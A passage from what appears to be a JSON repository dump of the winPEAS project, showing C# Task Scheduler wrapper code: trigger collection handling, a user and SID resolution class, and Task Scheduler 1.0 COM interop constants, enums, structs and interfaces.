ComEnumerator<Trigger, ITrigger>(() => v2Coll.Count, i => v2Coll[i], o => Trigger.CreateTrigger(o, v2Def));\n        }\n\n        /// <summary>Determines the index of a specific item in the <see cref=\"IList{T}\"/>.</summary>\n        /// <param name=\"item\">The object to locate in the <see cref=\"IList{T}\"/>.</param>\n        /// <returns>The index of <paramref name=\"item\"/> if found in the list; otherwise, -1.</returns>\n        public int IndexOf([NotNull] Trigger item) => FindIndexOf(a => a.Equals(item));\n\n        /// <summary>Determines the index of a specific item in the <see cref=\"IList{T}\"/>.</summary>\n        /// <param name=\"triggerId\">The id ( <see cref=\"Trigger.Id\"/>) of the trigger to be retrieved.</param>\n        /// <returns>The index of <paramref name=\"triggerId\"/> if found in the list; otherwise, -1.</returns>\n        public int IndexOf([NotNull] string triggerId)\n        {\n            if (string.IsNullOrEmpty(triggerId))\n                throw new ArgumentNullException(triggerId);\n            return FindIndexOf(a => string.Equals(a.Id, triggerId));\n        }\n\n        /// <summary>Inserts an trigger at the specified index.</summary>\n        /// <param name=\"index\">The zero-based index at which trigger should be inserted.</param>\n        /// <param name=\"trigger\">The trigger to insert into the list.</param>\n        public void Insert(int index, [NotNull] Trigger trigger)\n        {\n            if (trigger == null)\n                throw new ArgumentNullException(nameof(trigger));\n            if (index >= Count)\n                throw new ArgumentOutOfRangeException(nameof(index));\n\n            var pushItems = new Trigger[Count - index];\n            CopyTo(index, pushItems, 0, Count - index);\n            for (var j = Count - 1; j >= index; j--)\n                RemoveAt(j);\n            Add(trigger);\n            foreach (var t in pushItems)\n                Add(t);\n        }\n\n        /// <summary>Removes the first occurrence of a specific object from the <see cref=\"ICollection{T}\"/>.</summary>\n        /// <param name=\"item\">The object to remove from the <see cref=\"ICollection{T}\"/>.</param>\n        /// <returns>\n        /// true if <paramref name=\"item\"/> was successfully removed from the <see cref=\"ICollection{T}\"/>; otherwise, false. This method\n        /// also returns false if <paramref name=\"item\"/> is not found in the original <see cref=\"ICollection{T}\"/>.\n        /// </returns>\n        public bool Remove([NotNull] Trigger item)\n        {\n            var idx = IndexOf(item);\n            if (idx != -1)\n            {\n                try\n                {\n                    RemoveAt(idx);\n                    return true;\n                }\n                catch { }\n            }\n            return false;\n        }\n\n        /// <summary>Removes the trigger at a specified index.</summary>\n        /// <param name=\"index\">Index of trigger to remove.</param>\n        /// <exception cref=\"ArgumentOutOfRangeException\">Index out of range.</exception>\n        public void RemoveAt(int index)\n        {\n            if (index < 0 || index >= Count)\n                throw new ArgumentOutOfRangeException(nameof(index), index, @\"Failed to remove Trigger. Index out of range.\");\n            var item = this[index].Clone();\n            if (v2Coll != null)\n                v2Coll.Remove(++index);\n            else\n                v1Task.DeleteTrigger((ushort)index); //Remove the trigger from the Task Scheduler\n            if (!inV2set)\n            {\n                OnNotifyPropertyChanged(nameof(Count));\n                OnNotifyPropertyChanged(IndexerName);\n                CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, item, index));\n            }\n        }\n\n        /// <summary>Copies the elements of the <see cref=\"TriggerCollection\"/> to a new array.</summary>\n        /// <returns>An array containing copies of the elements of the <see cref=\"TriggerCollection\"/>.</returns>\n        public Trigger[] ToArray()\n        {\n            var ret = new Trigger[Count];\n            CopyTo(ret, 0);\n            return ret;\n        }\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents the triggers in this collection.</summary>\n        /// <returns>A <see cref=\"string\"/> that represents the triggers in this collection.</returns>\n        public override string ToString()\n        {\n            if (Count == 1)\n                return this[0].ToString();\n            if (Count > 1)\n                return Properties.Resources.MultipleTriggers;\n            return string.Empty;\n        }\n\n        void ICollection<Trigger>.Add(Trigger item) => Add(item);\n\n        int IList.Add(object value)\n        {\n            Add((Trigger)value);\n            return Count - 1;\n        }\n\n        bool IList.Contains(object value) => Contains((Trigger)value);\n\n        void ICollection.CopyTo(Array array, int index)\n        {\n            if (array != null && array.Rank != 1)\n                throw new RankException(\"Multi-dimensional arrays are not supported.\");\n            var src = new Trigger[Count];\n            CopyTo(src, 0);\n            Array.Copy(src, 0, array, index, Count);\n        }\n\n        IEnumerator IEnumerable.GetEnumerator() => GetEnumerator();\n\n        System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null;\n\n        int IList.IndexOf(object value) => IndexOf((Trigger)value);\n\n        void IList.Insert(int index, object value) => Insert(index, (Trigger)value);\n\n        void IXmlSerializable.ReadXml(System.Xml.XmlReader reader)\n        {\n            reader.ReadStartElement(XmlSerializationHelper.GetElementName(this), TaskDefinition.tns);\n            while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n            {\n                switch (reader.LocalName)\n                {\n                    case \"BootTrigger\":\n                        XmlSerializationHelper.ReadObject(reader, AddNew(TaskTriggerType.Boot));\n                        break;\n\n                    case \"IdleTrigger\":\n                        XmlSerializationHelper.ReadObject(reader, AddNew(TaskTriggerType.Idle));\n                        break;\n\n                    case \"TimeTrigger\":\n                        XmlSerializationHelper.ReadObject(reader, AddNew(TaskTriggerType.Time));\n                        break;\n\n                    case \"LogonTrigger\":\n                        XmlSerializationHelper.ReadObject(reader, AddNew(TaskTriggerType.Logon));\n                        break;\n\n                    case \"CalendarTrigger\":\n                        Add(CalendarTrigger.GetTriggerFromXml(reader));\n                        break;\n\n                    default:\n                        reader.Skip();\n                        break;\n                }\n            }\n            reader.ReadEndElement();\n        }\n\n        void IList.Remove(object value) => Remove((Trigger)value);\n\n        void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer)\n        {\n            foreach (var t in this)\n                XmlSerializationHelper.WriteObject(writer, t);\n        }\n\n        internal void Bind()\n        {\n            foreach (var t in this)\n                t.SetV1TriggerData();\n        }\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n\n        private sealed class V1TriggerEnumerator : IEnumerator<Trigger>\n        {\n            private short curItem = -1;\n            private ITask iTask;\n\n            internal V1TriggerEnumerator(ITask task) => iTask = task;\n\n            public Trigger Current => Trigger.CreateTrigger(iTask.GetTrigger((ushort)curItem));\n\n            object IEnumerator.Current => Current;\n\n            /// <summary>Releases all resources used by this class.</summary>\n            public void Dispose() => iTask = null;\n\n            public bool MoveNext() => (++curItem < iTask.GetTriggerCount());\n\n            public void Reset() => curItem = -1;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/User.cs",
    "content": "﻿using System;\nusing System.Security.Principal;\nusing winPEAS.TaskScheduler.TaskEditor.Native;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>Represents a system account.</summary>\n    internal class User : IEquatable<User>, IDisposable\n    {\n        private static readonly WindowsIdentity cur = WindowsIdentity.GetCurrent();\n        private SecurityIdentifier sid;\n\n        /// <summary>Initializes a new instance of the <see cref=\"User\"/> class.</summary>\n        /// <param name=\"userName\">\n        /// Name of the user. This can be in the format <c>DOMAIN\\username</c> or <c>username@domain.com</c> or <c>username</c> or\n        /// <c>null</c> (for current user).\n        /// </param>\n        public User(string userName = null)\n        {\n            if (string.IsNullOrEmpty(userName)) userName = null;\n            // 2018-03-02: Hopefully not a breaking change, but by adding in the comparison of an account name without a domain and the\n            // current user, there is a chance that current implementations will break given the condition that a local account with the same\n            // name as a domain account exists and the intention was to prefer the local account. In such a case, the developer should\n            // prepend the user name in TaskDefinition.Principal.UserId with the machine name of the local machine.\n            if (userName == null || cur.Name.Equals(userName, StringComparison.InvariantCultureIgnoreCase) || GetUser(cur.Name).Equals(userName, StringComparison.InvariantCultureIgnoreCase))\n            {\n                Identity = cur;\n                sid = Identity.User;\n            }\n            else if (userName.Contains(\"\\\\\") && !userName.StartsWith(@\"NT AUTHORITY\\\"))\n            {\n                try\n                {\n                    using (var ds = new NativeMethods.DomainService())\n                    {\n                        Identity = new WindowsIdentity(ds.CrackName(userName));\n                        sid = Identity.User;\n                    }\n                }\n                catch { }\n            }\n\n            if (Identity == null)\n            {\n                if (userName != null && userName.Contains(\"@\"))\n                {\n                    Identity = new WindowsIdentity(userName);\n                    sid = Identity.User;\n                }\n\n                if (Identity == null && userName != null)\n                {\n                    var ntacct = new NTAccount(userName);\n                    try { sid = (SecurityIdentifier)ntacct.Translate(typeof(SecurityIdentifier)); } catch { }\n                }\n            }\n\n            string GetUser(string domUser)\n            {\n                var split = domUser.Split('\\\\');\n                return split.Length == 2 ? split[1] : domUser;\n            }\n        }\n\n        /// <summary>Initializes a new instance of the <see cref=\"User\"/> class.</summary>\n        /// <param name=\"wid\">The <see cref=\"WindowsIdentity\"/>.</param>\n        internal User(WindowsIdentity wid) { Identity = wid; sid = wid.User; }\n\n        /// <summary>Gets the current user.</summary>\n        /// <value>The current user.</value>\n        public static User Current => new User(cur);\n\n        /// <summary>Gets the identity.</summary>\n        /// <value>The identity.</value>\n        public WindowsIdentity Identity { get; private set; }\n\n        /// <summary>Gets a value indicating whether this instance is in an administrator role.</summary>\n        /// <value><c>true</c> if this instance is an admin; otherwise, <c>false</c>.</value>\n        public bool IsAdmin => Identity != null ? new WindowsPrincipal(Identity).IsInRole(WindowsBuiltInRole.Administrator) : false;\n\n        /// <summary>Gets a value indicating whether this instance is the interactive user.</summary>\n        /// <value><c>true</c> if this instance is the current user; otherwise, <c>false</c>.</value>\n        public bool IsCurrent => Identity?.User.Equals(cur.User) ?? false;\n\n        /// <summary>Gets a value indicating whether this instance is a service account.</summary>\n        /// <value><c>true</c> if this instance is a service account; otherwise, <c>false</c>.</value>\n        public bool IsServiceAccount\n        {\n            get\n            {\n                try\n                {\n                    return (sid != null && (sid.IsWellKnown(WellKnownSidType.LocalSystemSid) || sid.IsWellKnown(WellKnownSidType.NetworkServiceSid) || sid.IsWellKnown(WellKnownSidType.LocalServiceSid)));\n                }\n                catch { }\n                return false;\n            }\n        }\n\n        /// <summary>Gets a value indicating whether this instance is the SYSTEM account.</summary>\n        /// <value><c>true</c> if this instance is the SYSTEM account; otherwise, <c>false</c>.</value>\n        public bool IsSystem => sid != null && sid.IsWellKnown(WellKnownSidType.LocalSystemSid);\n\n        /// <summary>Gets the SID string.</summary>\n        /// <value>The SID string.</value>\n        public string SidString => sid?.ToString();\n\n        /// <summary>Gets the NT name (DOMAIN\\username).</summary>\n        /// <value>The name of the user.</value>\n        public string Name => Identity?.Name ?? ((NTAccount)sid?.Translate(typeof(NTAccount)))?.Value;\n\n        /// <summary>Create a <see cref=\"User\"/> instance from a SID string.</summary>\n        /// <param name=\"sid\">The SID string.</param>\n        /// <returns>A <see cref=\"User\"/> instance.</returns>\n        public static User FromSidString(string sid) => new User(((NTAccount)new SecurityIdentifier(sid).Translate(typeof(NTAccount))).Value);\n\n        /// <summary>Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.</summary>\n        public void Dispose() => Identity?.Dispose();\n\n        /// <summary>Determines whether the specified <see cref=\"System.Object\"/>, is equal to this instance.</summary>\n        /// <param name=\"obj\">The <see cref=\"System.Object\"/> to compare with this instance.</param>\n        /// <returns><c>true</c> if the specified <see cref=\"System.Object\"/> is equal to this instance; otherwise, <c>false</c>.</returns>\n        public override bool Equals(object obj)\n        {\n            if (obj is User user)\n                return Equals(user);\n            if (obj is WindowsIdentity wid && sid != null)\n                return sid.Equals(wid.User);\n            try\n            {\n                if (obj is string un)\n                    return Equals(new User(un));\n            }\n            catch { }\n            return base.Equals(obj);\n        }\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        public bool Equals(User other) => (other != null && sid != null) ? sid.Equals(other.sid) : false;\n\n        /// <summary>Returns a hash code for this instance.</summary>\n        /// <returns>A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.</returns>\n        public override int GetHashCode() => sid?.GetHashCode() ?? 0;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/V1/TaskSchedulerV1Interop.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing winPEAS.TaskScheduler.TaskEditor.Native;\n\nnamespace winPEAS.TaskScheduler.V1\n{\n#pragma warning disable CS0618 // Type or member is obsolete\n\n    #region class HRESULT -- Values peculiar to the task scheduler.\n    internal class HResult\n    {\n        // The task is ready to run at its next scheduled time.\n        public const int SCHED_S_TASK_READY = 0x00041300;\n        // The task is currently running.\n        public const int SCHED_S_TASK_RUNNING = 0x00041301;\n        // The task will not run at the scheduled times because it has been disabled.\n        public const int SCHED_S_TASK_DISABLED = 0x00041302;\n        // The task has not yet run.\n        public const int SCHED_S_TASK_HAS_NOT_RUN = 0x00041303;\n        // There are no more runs scheduled for this task.\n        public const int SCHED_S_TASK_NO_MORE_RUNS = 0x00041304;\n        // One or more of the properties that are needed to run this task on a schedule have not been set.\n        public const int SCHED_S_TASK_NOT_SCHEDULED = 0x00041305;\n        // The last run of the task was terminated by the user.\n        public const int SCHED_S_TASK_TERMINATED = 0x00041306;\n        // Either the task has no triggers or the existing triggers are disabled or not set.\n        public const int SCHED_S_TASK_NO_VALID_TRIGGERS = 0x00041307;\n        // Event triggers don't have set run times.\n        public const int SCHED_S_EVENT_TRIGGER = 0x00041308;\n        // Trigger not found.\n        public const int SCHED_E_TRIGGER_NOT_FOUND = unchecked((int)0x80041309);\n        // One or more of the properties that are needed to run this task have not been set.\n        public const int SCHED_E_TASK_NOT_READY = unchecked((int)0x8004130A);\n        // There is no running instance of the task to terminate.\n        public const int SCHED_E_TASK_NOT_RUNNING = unchecked((int)0x8004130B);\n        // The Task Scheduler Service is not installed on this computer.\n        public const int SCHED_E_SERVICE_NOT_INSTALLED = unchecked((int)0x8004130C);\n        // The task object could not be opened.\n        public const int SCHED_E_CANNOT_OPEN_TASK = unchecked((int)0x8004130D);\n        // The object is either an invalid task object or is not a task object.\n        public const int SCHED_E_INVALID_TASK = unchecked((int)0x8004130E);\n        // No account information could be found in the Task Scheduler security database for the task indicated.\n        public const int SCHED_E_ACCOUNT_INFORMATION_NOT_SET = unchecked((int)0x8004130F);\n        // Unable to establish existence of the account specified.\n        public const int SCHED_E_ACCOUNT_NAME_NOT_FOUND = unchecked((int)0x80041310);\n        // Corruption was detected in the Task Scheduler security database; the database has been reset.\n        public const int SCHED_E_ACCOUNT_DBASE_CORRUPT = unchecked((int)0x80041311);\n        // Task Scheduler security services are available only on Windows NT.\n        public const int SCHED_E_NO_SECURITY_SERVICES = unchecked((int)0x80041312);\n        // The task object version is either unsupported or invalid.\n        public const int SCHED_E_UNKNOWN_OBJECT_VERSION = unchecked((int)0x80041313);\n        // The task has been configured with an unsupported combination of account settings and run time options.\n        public const int SCHED_E_UNSUPPORTED_ACCOUNT_OPTION = unchecked((int)0x80041314);\n        // The Task Scheduler Service is not running.\n        public const int SCHED_E_SERVICE_NOT_RUNNING = unchecked((int)0x80041315);\n        // The Task Scheduler service must be configured to run in the System account to function properly.  Individual tasks may be configured to run in other accounts.\n        public const int SCHED_E_SERVICE_NOT_LOCALSYSTEM = unchecked((int)0x80041316);\n    }\n    #endregion\n\n    #region Enums\n\n    /// <summary>\n    /// Options for a task, used for the Flags property of a Task. Uses the\n    /// \"Flags\" attribute, so these values are combined with |. \n    /// Some flags are documented as Windows 95 only, but they have a\n    /// user interface in Windows XP so that may not be true.\n    /// </summary>\n    [Flags]\n    internal enum TaskFlags\n    {\n        /// <summary>\n        /// The interactive flag is set if the task is intended to be displayed to the user. \n        /// If the flag is not set, no user interface associated with the task is presented\n        /// to the user when the task is executed.\n        /// </summary>\n        Interactive = 0x1,\n        /// <summary>\n        /// The task will be deleted when there are no more scheduled run times.\n        /// </summary>\n        DeleteWhenDone = 0x2,\n        /// <summary>\n        /// The task is disabled. This is useful to temporarily prevent a task from running\n        /// at the scheduled time(s).\n        /// </summary>\n        Disabled = 0x4,\n        /// <summary>\n        /// The task begins only if the computer is not in use at the scheduled start time. Windows 95 only.\n        /// </summary>\n        StartOnlyIfIdle = 0x10,\n        /// <summary>\n        /// The task terminates if the computer makes an idle to non-idle transition while the task is running.\n        /// The computer is not considered idle until the IdleWait triggers' time elapses with no user input.\n        /// Windows 95 only. For information regarding idle triggers, see <see cref=\"IdleTrigger\"/>.\n        /// </summary>\n        KillOnIdleEnd = 0x20,\n        /// <summary>\n        /// The task does not start if its target computer is running on battery power. Windows 95 only.\n        /// </summary>\n        DontStartIfOnBatteries = 0x40,\n        /// <summary>\n        /// The task ends, and the associated application quits if the task's target computer switches\n        /// to battery power. Windows 95 only.\n        /// </summary>\n        KillIfGoingOnBatteries = 0x80,\n        /// <summary>\n        /// The task runs only if the system is docked. Windows 95 only.\n        /// </summary>\n        RunOnlyIfDocked = 0x100,\n        /// <summary>\n        /// The work item created will be hidden.\n        /// </summary>\n        Hidden = 0x200,\n        /// <summary>\n        /// The task runs only if there is currently a valid Internet connection.\n        /// This feature is currently not implemented.\n        /// </summary>\n        RunIfConnectedToInternet = 0x400,\n        /// <summary>\n        /// The task starts again if the computer makes a non-idle to idle transition before all the\n        /// task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only.\n        /// </summary>\n        RestartOnIdleResume = 0x800,\n        /// <summary>\n        /// The task runs only if the SYSTEM account is available.\n        /// </summary>\n        SystemRequired = 0x1000,\n        /// <summary>\n        /// The task runs only if the user specified in SetAccountInformation is logged on interactively. \n        /// This flag has no effect on work items set to run in the local account.\n        /// </summary>\n        RunOnlyIfLoggedOn = 0x2000\n    }\n\n    /// <summary>\n    /// Status values returned for a task.  Some values have been determined to occur although\n    /// they do no appear in the Task Scheduler system documentation.\n    /// </summary>\n    internal enum TaskStatus\n    {\n        /// <summary>The task is ready to run at its next scheduled time.</summary>\n        Ready = HResult.SCHED_S_TASK_READY,\n        /// <summary>The task is currently running.</summary>\n        Running = HResult.SCHED_S_TASK_RUNNING,\n        /// <summary>One or more of the properties that are needed to run this task on a schedule have not been set. </summary>\n        NotScheduled = HResult.SCHED_S_TASK_NOT_SCHEDULED,\n        /// <summary>The task has not yet run.</summary>\n        NeverRun = HResult.SCHED_S_TASK_HAS_NOT_RUN,\n        /// <summary>The task will not run at the scheduled times because it has been disabled.</summary>\n        Disabled = HResult.SCHED_S_TASK_DISABLED,\n        /// <summary>There are no more runs scheduled for this task.</summary>\n        NoMoreRuns = HResult.SCHED_S_TASK_NO_MORE_RUNS,\n        /// <summary>The last run of the task was terminated by the user.</summary>\n        Terminated = HResult.SCHED_S_TASK_TERMINATED,\n        /// <summary>Either the task has no triggers or the existing triggers are disabled or not set.</summary>\n        NoTriggers = HResult.SCHED_S_TASK_NO_VALID_TRIGGERS,\n        /// <summary>Event triggers don't have set run times.</summary>\n        NoTriggerTime = HResult.SCHED_S_EVENT_TRIGGER\n    }\n\n    /// <summary>Valid types of triggers</summary>\n    internal enum TaskTriggerType\n    {\n        /// <summary>Trigger is set to run the task a single time. </summary>\n        RunOnce = 0,\n        /// <summary>Trigger is set to run the task on a daily interval. </summary>\n        RunDaily = 1,\n        /// <summary>Trigger is set to run the work item on specific days of a specific week of a specific month. </summary>\n        RunWeekly = 2,\n        /// <summary>Trigger is set to run the task on a specific day(s) of the month.</summary>\n        RunMonthly = 3,\n        /// <summary>Trigger is set to run the task on specific days, weeks, and months.</summary>\n        RunMonthlyDOW = 4,\n        /// <summary>Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task.</summary>\n        OnIdle = 5,\n        /// <summary>Trigger is set to run the task at system startup.</summary>\n        OnSystemStart = 6,\n        /// <summary>Trigger is set to run the task when a user logs on. </summary>\n        OnLogon = 7\n    }\n\n    [Flags]\n    internal enum TaskTriggerFlags : uint\n    {\n        HasEndDate = 0x1,\n        KillAtDurationEnd = 0x2,\n        Disabled = 0x4\n    }\n\n    #endregion\n\n    #region Structs\n\n    [StructLayout(LayoutKind.Sequential)]\n    internal struct Daily\n    {\n        public ushort DaysInterval;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    internal struct Weekly\n    {\n        public ushort WeeksInterval;\n        public DaysOfTheWeek DaysOfTheWeek;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    internal struct MonthlyDate\n    {\n        public uint Days;\n        public MonthsOfTheYear Months;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    internal struct MonthlyDOW\n    {\n        public ushort WhichWeek;\n        public DaysOfTheWeek DaysOfTheWeek;\n        public MonthsOfTheYear Months;\n\n        public WhichWeek V2WhichWeek\n        {\n            get\n            {\n                return (WhichWeek)(1 << ((short)WhichWeek - 1));\n            }\n            set\n            {\n                int idx = Array.IndexOf(new short[] { 0x1, 0x2, 0x4, 0x8, 0x10 }, (short)value);\n                if (idx >= 0)\n                    WhichWeek = (ushort)(idx + 1);\n                else\n                    throw new NotV1SupportedException(\"Only a single week can be set with Task Scheduler 1.0.\");\n            }\n        }\n    }\n\n    [StructLayout(LayoutKind.Explicit)]\n    internal struct TriggerTypeData\n    {\n        [FieldOffset(0)]\n        public Daily daily;\n        [FieldOffset(0)]\n        public Weekly weekly;\n        [FieldOffset(0)]\n        public MonthlyDate monthlyDate;\n        [FieldOffset(0)]\n        public MonthlyDOW monthlyDOW;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    internal struct TaskTrigger\n    {\n        public ushort TriggerSize;             // Structure size.\n        public ushort Reserved1;               // Reserved. Must be zero.\n        public ushort BeginYear;               // Trigger beginning date year.\n        public ushort BeginMonth;              // Trigger beginning date month.\n        public ushort BeginDay;                // Trigger beginning date day.\n        public ushort EndYear;                 // Optional trigger ending date year.\n        public ushort EndMonth;                // Optional trigger ending date month.\n        public ushort EndDay;                  // Optional trigger ending date day.\n        public ushort StartHour;               // Run bracket start time hour.\n        public ushort StartMinute;             // Run bracket start time minute.\n        public uint MinutesDuration;           // Duration of run bracket.\n        public uint MinutesInterval;           // Run bracket repetition interval.\n        public TaskTriggerFlags Flags;         // Trigger flags.\n        public TaskTriggerType Type;           // Trigger type.\n        public TriggerTypeData Data;           // Trigger data peculiar to this type (union).\n        public ushort Reserved2;               // Reserved. Must be zero.\n        public ushort RandomMinutesInterval;   // Maximum number of random minutes after start time.\n\n        public DateTime BeginDate\n        {\n            get { try { return BeginYear == 0 ? DateTime.MinValue : new DateTime(BeginYear, BeginMonth, BeginDay, StartHour, StartMinute, 0, DateTimeKind.Unspecified); } catch { return DateTime.MinValue; } }\n            set\n            {\n                if (value != DateTime.MinValue)\n                {\n                    DateTime local = value.Kind == DateTimeKind.Utc ? value.ToLocalTime() : value;\n                    BeginYear = (ushort)local.Year;\n                    BeginMonth = (ushort)local.Month;\n                    BeginDay = (ushort)local.Day;\n                    StartHour = (ushort)local.Hour;\n                    StartMinute = (ushort)local.Minute;\n                }\n                else\n                    BeginYear = BeginMonth = BeginDay = StartHour = StartMinute = 0;\n            }\n        }\n\n        public DateTime? EndDate\n        {\n            get { try { return EndYear == 0 ? (DateTime?)null : new DateTime(EndYear, EndMonth, EndDay); } catch { return DateTime.MaxValue; } }\n            set\n            {\n                if (value.HasValue)\n                {\n                    EndYear = (ushort)value.Value.Year;\n                    EndMonth = (ushort)value.Value.Month;\n                    EndDay = (ushort)value.Value.Day;\n                    Flags |= TaskTriggerFlags.HasEndDate;\n                }\n                else\n                {\n                    EndYear = EndMonth = EndDay = 0;\n                    Flags &= ~TaskTriggerFlags.HasEndDate;\n                }\n            }\n        }\n\n        public override string ToString() => $\"Trigger Type: {Type};\\n> Start: {BeginDate}; End: {(EndYear == 0 ? \"null\" : EndDate?.ToString())};\\n> DurMin: {MinutesDuration}; DurItv: {MinutesInterval};\\n>\";\n    }\n\n    #endregion\n\n    [ComImport, Guid(\"148BD527-A2AB-11CE-B11F-00AA00530503\"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity, CoClass(typeof(CTaskScheduler))]\n    internal interface ITaskScheduler\n    {\n        void SetTargetComputer([In, MarshalAs(UnmanagedType.LPWStr)] string Computer);\n        CoTaskMemString GetTargetComputer();\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IEnumWorkItems Enum();\n        [return: MarshalAs(UnmanagedType.Interface)]\n        ITask Activate([In, MarshalAs(UnmanagedType.LPWStr)][NotNull] string Name, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);\n        void Delete([In, MarshalAs(UnmanagedType.LPWStr)][NotNull] string Name);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        ITask NewWorkItem([In, MarshalAs(UnmanagedType.LPWStr)][NotNull] string TaskName, [In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);\n        void AddWorkItem([In, MarshalAs(UnmanagedType.LPWStr)][NotNull] string TaskName, [In, MarshalAs(UnmanagedType.Interface)] ITask WorkItem);\n        void IsOfType([In, MarshalAs(UnmanagedType.LPWStr)][NotNull] string TaskName, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);\n    }\n\n    [Guid(\"148BD528-A2AB-11CE-B11F-00AA00530503\"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IEnumWorkItems\n    {\n        [PreserveSig()]\n        //int Next([In] uint celt, [Out, MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.LPWStr, SizeParamIndex = 0)] out string[] rgpwszNames, [Out] out uint pceltFetched);\n        int Next([In] uint RequestCount, [Out] out IntPtr Names, [Out] out uint Fetched);\n        void Skip([In] uint Count);\n        void Reset();\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IEnumWorkItems Clone();\n    }\n\n#if WorkItem\n\t// The IScheduledWorkItem interface is actually never used because ITask inherits all of its\n\t// methods.  As ITask is the only kind of WorkItem (in 2002) it is the only interface we need.\n\t[Guid(\"a6b952f0-a4b1-11d0-997d-00aa006887ec\"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]\n\tinternal interface IScheduledWorkItem\n\t{\n\t\tvoid CreateTrigger([Out] out ushort NewTriggerIndex, [Out, MarshalAs(UnmanagedType.Interface)] out ITaskTrigger Trigger);\n\t\tvoid DeleteTrigger([In] ushort TriggerIndex);\n\t\tvoid GetTriggerCount([Out] out ushort Count);\n\t\tvoid GetTrigger([In] ushort TriggerIndex, [Out, MarshalAs(UnmanagedType.Interface)] out ITaskTrigger Trigger);\n\t\tvoid GetTriggerString([In] ushort TriggerIndex, out System.IntPtr TriggerString);\n\t\tvoid GetRunTimes([In, MarshalAs(UnmanagedType.Struct)] SystemTime Begin, [In, MarshalAs(UnmanagedType.Struct)] SystemTime End, ref ushort Count, [Out] out System.IntPtr TaskTimes);\n\t\tvoid GetNextRunTime([In, Out, MarshalAs(UnmanagedType.Struct)] ref SystemTime NextRun);\n\t\tvoid SetIdleWait([In] ushort IdleMinutes, [In] ushort DeadlineMinutes);\n\t\tvoid GetIdleWait([Out] out ushort IdleMinutes, [Out] out ushort DeadlineMinutes);\n\t\tvoid Run();\n\t\tvoid Terminate();\n\t\tvoid EditWorkItem([In] uint hParent, [In] uint dwReserved);\n\t\tvoid GetMostRecentRunTime([In, Out, MarshalAs(UnmanagedType.Struct)] ref SystemTime LastRun);\n\t\tvoid GetStatus([Out, MarshalAs(UnmanagedType.Error)] out int Status);\n\t\tvoid GetExitCode([Out] out uint ExitCode);\n\t\tvoid SetComment([In, MarshalAs(UnmanagedType.LPWStr)] string Comment);\n\t\tvoid GetComment(out System.IntPtr Comment);\n\t\tvoid SetCreator([In, MarshalAs(UnmanagedType.LPWStr)] string Creator);\n\t\tvoid GetCreator(out System.IntPtr Creator);\n\t\tvoid SetWorkItemData([In] ushort DataLen, [In, MarshalAs(UnmanagedType.LPArray, SizeParamIndex=0, ArraySubType=UnmanagedType.U1)] byte[] Data);\n\t\tvoid GetWorkItemData([Out] out ushort DataLen, [Out] out System.IntPtr Data);\n\t\tvoid SetErrorRetryCount([In] ushort RetryCount);\n\t\tvoid GetErrorRetryCount([Out] out ushort RetryCount);\n\t\tvoid SetErrorRetryInterval([In] ushort RetryInterval);\n\t\tvoid GetErrorRetryInterval([Out] out ushort RetryInterval);\n\t\tvoid SetFlags([In] uint Flags);\n\t\tvoid GetFlags([Out] out uint Flags);\n\t\tvoid SetAccountInformation([In, MarshalAs(UnmanagedType.LPWStr)] string AccountName, [In, MarshalAs(UnmanagedType.LPWStr)] string Password);\n\t\tvoid GetAccountInformation(out System.IntPtr AccountName);\n\t}\n#endif\n\n    [ComImport, Guid(\"148BD524-A2AB-11CE-B11F-00AA00530503\"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity, CoClass(typeof(CTask))]\n    internal interface ITask\n    {\n        [return: MarshalAs(UnmanagedType.Interface)]\n        ITaskTrigger CreateTrigger([Out] out ushort NewTriggerIndex);\n        void DeleteTrigger([In] ushort TriggerIndex);\n        [return: MarshalAs(UnmanagedType.U2)]\n        ushort GetTriggerCount();\n        [return: MarshalAs(UnmanagedType.Interface)]\n        ITaskTrigger GetTrigger([In] ushort TriggerIndex);\n        CoTaskMemString GetTriggerString([In] ushort TriggerIndex);\n        void GetRunTimes([In, MarshalAs(UnmanagedType.Struct)] ref NativeMethods.SYSTEMTIME Begin, [In, MarshalAs(UnmanagedType.Struct)] ref NativeMethods.SYSTEMTIME End, ref ushort Count, [In, Out] ref IntPtr TaskTimes);\n        [return: MarshalAs(UnmanagedType.Struct)]\n        NativeMethods.SYSTEMTIME GetNextRunTime();\n        void SetIdleWait([In] 